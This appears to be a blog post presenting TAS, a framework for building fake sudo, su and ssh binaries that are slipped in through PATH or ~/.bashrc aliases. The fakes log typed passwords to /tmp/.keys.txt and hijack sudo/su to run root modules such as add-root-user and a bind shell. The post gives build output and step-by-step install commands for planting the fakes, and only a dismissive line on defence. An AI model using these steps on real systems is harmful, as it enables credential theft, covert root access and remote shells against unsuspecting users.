TAS is a tiny framework for easily manipulate the tty and create fake binaries. The framework has three main functions, tas_execv, tas_forkpty, and tas_tty_loop.
This is a superficial overview, check the codes in tas/fakebins/fun folders to understand how it really works.
Fakebins
Through manipulation of the PATH environment variable, or by using bash’s aliases (or any other shell that supports aliases), you can run another program instead of the program that the user usually runs. This makes it possible to capture keystrokes and modify the command line to change the original program behavior.
Change the command line of some programs, like sudo and su, can lead to privilege escalation.
I’d created three programs as an example of what you can do with the framework: sudo, su and generic-keylogger.
generic-keylogger
The generic-keylogger, as the name suggests, is a binary that acts like a keylogger, the main idea is to use it to get passwords of programs like ssh, mysql, etc.
sudo/su
It can be used as a keylogger, or you can run some of the modules as root, by manipulating the command line.
Step-by-step cmd change:
sudo cmdfakesudo cmd runssudo fakesudo cmdAfter it is running as root, the fakesudo create a child process for executing some of the modules, and in the main PID, it runs the original command.
Note: fakesudo only changes the command if the user runs sudo cmd [args], if some additional flags are used, then the command isn’t touched.
Almost the same process happens with the su:
su -fakesu - runssu - -c fakesuAfter it is running as root, the fakesu create a child process for executing some of the modules, and in the main PID, it runs bash -i
Note: fakesu only changes the command if the user runs su or su -, if some additional flags are used, then the command isn’t touched.
Also Read – TeleGram-Scraper : Telegram Group Scraper Tool
Modules
For now, there are only three modules:
I can add more modules in the future, but if you are familiar with
the C language, I believe that it is not very difficult to change the
programs to run what you want as root, just modify a few lines of code
and change the super() function.
Building
First, build the base library:
$ make
CC .obj/globals.o
CC .obj/getinode.o
CC .obj/tas-execv.o
CC .obj/tty.o
CC .obj/xreadlink.o
AR .obj/libtas.a
After that, you can build generic-keylogger, sudo or su, by running make [target-bin]
Example:
$ make su
make[1]: Entering directory ‘/home/test/tas/fakebins/su’
[+] configuring fakesu …
enable keylogger? [y/N] y
number of lines to record [empty = store all]:
logfile (default: /tmp/.keys.txt):
use some FUN modules? [y/N] n
[+] configuration file created in /home/test/tas/fakebins/su/config.h
CC su
make[1]: Leaving directory ‘/home/test/tas/fakebins/su’
Examples
Creating a fakessh:
Compile:
$ make generic-keylogger
make[1]: Entering directory ‘/home/test/tas/fakebins/generic-keylogger’
[+] configuring generic-keylogger …
number of lines to record [empty = store all]: 3
logfile (default: /tmp/.keys.txt):
[+] configuration file created in /home/test/tas/fakebins/generic-keylogger/config.h
CC generic-keylogger
make[1]: Leaving directory ‘/home/test/tas/fakebins/generic-keylogger’
Install:
$ mkdir ~/.bin $ cp generic-keylogger ~/.bin/ssh
$ echo “alias ssh=’
$HOME/.bin/ssh'” >> ~/.bashrc
In action:
Using the bind-shell module
Compile:
make[1]: Entering directory ‘/home/test/tas/fakebins/sudo’
[+] configuring fakesudo …
enable keylogger? [y/N] n
use some FUN modules? [y/N] y
[1] add-root-user
[2] bind-shell
[3] system
[4] cancel
>2
listen port (Default: 1337): 5992
[+] configuration file created in /home/test/tas/fakebins/sudo/config.h
CC sudo
make[1]: Leaving directory ‘/home/test/tas/fakebins/sudo’
Install:
$ cp sudo ~/.sudo $ echo “alias sudo=’
$HOME/.sudo'” >> ~/.bashrc
In action:
Notes
Somethings can make the fake-programs not work as expected:
The sudo will always ask for the password when the keylogger function is used in the fakesudo.
How to protect yourself?
This is a post-exploitation technique to performs privilege escalation and information gathering, if you want to protect yourself, not be invaded is a good way to start…
General Working of a Web Application Firewall (WAF) A Web Application Firewall (WAF) acts as…
How to Send POST Requests Using curl in Linux If you work with APIs, servers,…
If you are a Linux user, you have probably seen commands like chmod 777 while…
Vim and Vi are among the most powerful text editors in the Linux world. They…
Working with compressed files is a common task for any Linux user. Whether you are…
In the digital era, an email address can reveal much more than just a contact…